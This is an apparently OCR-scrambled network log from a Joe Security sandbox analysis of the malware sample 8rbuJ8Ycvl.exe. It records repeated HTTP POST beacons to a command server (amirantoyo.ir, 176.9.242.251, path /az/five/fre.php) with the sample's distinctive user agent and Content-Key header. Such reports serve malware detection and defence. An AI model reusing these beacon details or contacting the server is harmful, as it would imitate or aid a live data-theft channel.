Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:33 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
192 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
193 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
194 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
195 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
196 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
197 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
198 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
199 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
2 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

49970

Direction

Source Port

49971

Direction

Source Port

49972

Direction

Source Port

49973

Direction

Source Port

49974

Direction

Source Port
49975

Direction

Source Port
49976

Direction

Source Port
49977

Direction

Source Port

49775

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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Timestamp

Jul 20, 2021
18:36:24.794815063 CEST

Jul 20, 2021
18:36:24.949943066 CEST

Session ID

20

Timestamp

Jul 20, 2021
18:36:33.723160028 CEST

Jul 20, 2021
18:36:33.870856047 CEST

Session ID
200

Timestamp

Session ID
201

Timestamp

Session ID
202

Timestamp

Session ID
203

Timestamp

Session ID

204

kBytes
transferred

7371

7372

Source IP

192.168.2.4
kBytes

transferred

7396

7397

Source IP
192.168.2.4

kBytes
transferred

Source IP
192.168.2.4

kBytes
transferred

Source IP
192.168.2.4

kBytes
transferred

Source IP
192.168.2.4

kBytes
transferred

Source IP

192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49793

Direction

ouT

Source Port
49978

Direction

Source Port
49979

Direction

Source Port
49980

Direction

Source Port
49981

Direction

Source Port

49982

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:24 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:33 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process
176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process
176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process
176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process
176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
205 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
206 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
207 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
208 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
209 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
21 192.168.2.4
kBytes
Timestamp transferred
Jul 20, 2021 7398

18:36:34.207684040 CEST

Jul 20, 2021 7398
18:36:34.361170053 CEST

Session ID Source IP
210 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
211 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

49983

Direction

Source Port

49984

Direction

Source Port

49985

Direction

Source Port

49986

Direction

Source Port

49987

Direction

Source Port
49794

Direction
ouT

Source Port
49988

Direction

Source Port

49989

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:34 GMT
Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
212 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
213 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
214 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
215 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
216 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
217 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
218 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
219 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
22 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

49990

Direction

Source Port

49991

Direction

Source Port

49992

Direction

Source Port

49993

Direction

Source Port

49994

Direction

Source Port
49995

Direction

Source Port
49996

Direction

Source Port
49997

Direction

Source Port

49795

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes
Timestamp transferred

Jul 20, 2021 7399
18:36:34.686157942 CEST

Jul 20, 2021 7399
18:36:34.830960035 CEST

Session ID Source IP
220 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
221 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
222 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
223 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
224 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
225 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
226 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
227 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49998

Direction

Source Port

49999

Direction

Source Port

50000

Direction

Source Port
50001

Direction

Source Port
50002

Direction

Source Port
50003

Direction

Source Port

50004

Direction

Source Port

50005

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:34 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
228 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
229 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
23 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7400

18:36:35.163177013 CEST

Jul 20, 2021 7401
18:36:35.316112995 CEST

Session ID Source IP
230 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
231 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
232 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
233 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
234 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50006

Direction

Source Port

50007

Direction

Source Port

49796

Direction

ouT

Source Port
50008

Direction

Source Port
50009

Direction

Source Port
50010

Direction

Source Port
50011

Direction

Source Port

50012

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:35 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
235 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
236 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
237 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
238 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
239 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
24 192.168.2.4
kBytes
Timestamp transferred
Jul 20, 2021 7402

18:36:35.650567055 CEST

Jul 20, 2021 7402
18:36:35.801381111 CEST

Session ID Source IP
240 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
241 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50013

Direction

Source Port

50014

Direction

Source Port

50015

Direction

Source Port

50016

Direction

Source Port

50017

Direction

Source Port
49797

Direction
ouT

Source Port
50018

Direction

Source Port

50019

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivelfre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:35 GMT
Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
242 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
243 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
244 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
245 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
246 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
247 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
248 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
249 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
25 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

50020

Direction

Source Port

50021

Direction

Source Port

50022

Direction

Source Port

50023

Direction

Source Port

50024

Direction

Source Port
50025

Direction

Source Port
50026

Direction

Source Port
50027

Direction

Source Port

49798

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes
Timestamp transferred

Jul 20, 2021 7403
18:36:36.155219078 CEST

Jul 20, 2021 7404
18:36:36.303735018 CEST

Session ID Source IP
250 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
251 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
252 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
253 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
254 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
255 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
256 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
257 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50028

Direction

Source Port

50029

Direction

Source Port

50030

Direction

Source Port
50031

Direction

Source Port
50032

Direction

Source Port
50033

Direction

Source Port

50034

Direction

Source Port

50035

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:36 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
258 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
259 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
26 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7404

18:36:36.635552883 CEST

Jul 20, 2021 7405
18:36:36.782358885 CEST

Session ID Source IP
260 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
261 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
262 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
263 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
264 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50036

Direction

Source Port

50037

Direction

Source Port

49799

Direction

ouT

Source Port
50038

Direction

Source Port
50039

Direction

Source Port
50040

Direction

Source Port

50041

Direction

Source Port

50042

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:36 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
265 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
266 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
267 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
268 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
269 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
27 192.168.2.4
kBytes
Timestamp transferred
Jul 20, 2021 7406

18:36:37.141992092 CEST

Jul 20, 2021 7406
18:36:37.295497894 CEST

Session ID Source IP
270 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
271 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50043

Direction

Source Port

50044

Direction

Source Port

50045

Direction

Source Port

50046

Direction

Source Port

50047

Direction

Source Port
49800

Direction
ouT

Source Port
50048

Direction

Source Port

50049

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:37 GMT
Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
272 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
273 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
274 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
275 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
276 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
277 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
278 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
279 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
28 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

50050

Direction

Source Port

50051

Direction

Source Port

50052

Direction

Source Port

50053

Direction

Source Port

50054

Direction

Source Port
50055

Direction

Source Port
50056

Direction

Source Port
50057

Direction

Source Port

49801

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes
Timestamp transferred

Jul 20, 2021 7407
18:36:37.618077040 CEST

Jul 20, 2021 7408
18:36:37.768568993 CEST

Session ID Source IP
280 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
281 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
282 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
283 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
284 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
285 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
286 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
287 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50058

Direction

Source Port

50059

Direction

Source Port

50060

Direction

Source Port
50061

Direction

Source Port
50062

Direction

Source Port
50063

Direction

Source Port
50064

Direction

Source Port

50065

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:37 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
288 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
289 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
29 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7409

18:36:38.103100061 CEST

Jul 20, 2021 7409
18:36:38.253607035 CEST

Session ID Source IP
290 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
291 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
292 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
293 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
294 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50066

Direction

Source Port

50067

Direction

Source Port

49802

Direction

ouT

Source Port
50068

Direction

Source Port
50069

Direction

Source Port
50070

Direction

Source Port
50071

Direction

Source Port

50072

Data

Destination IP Destination Port Process

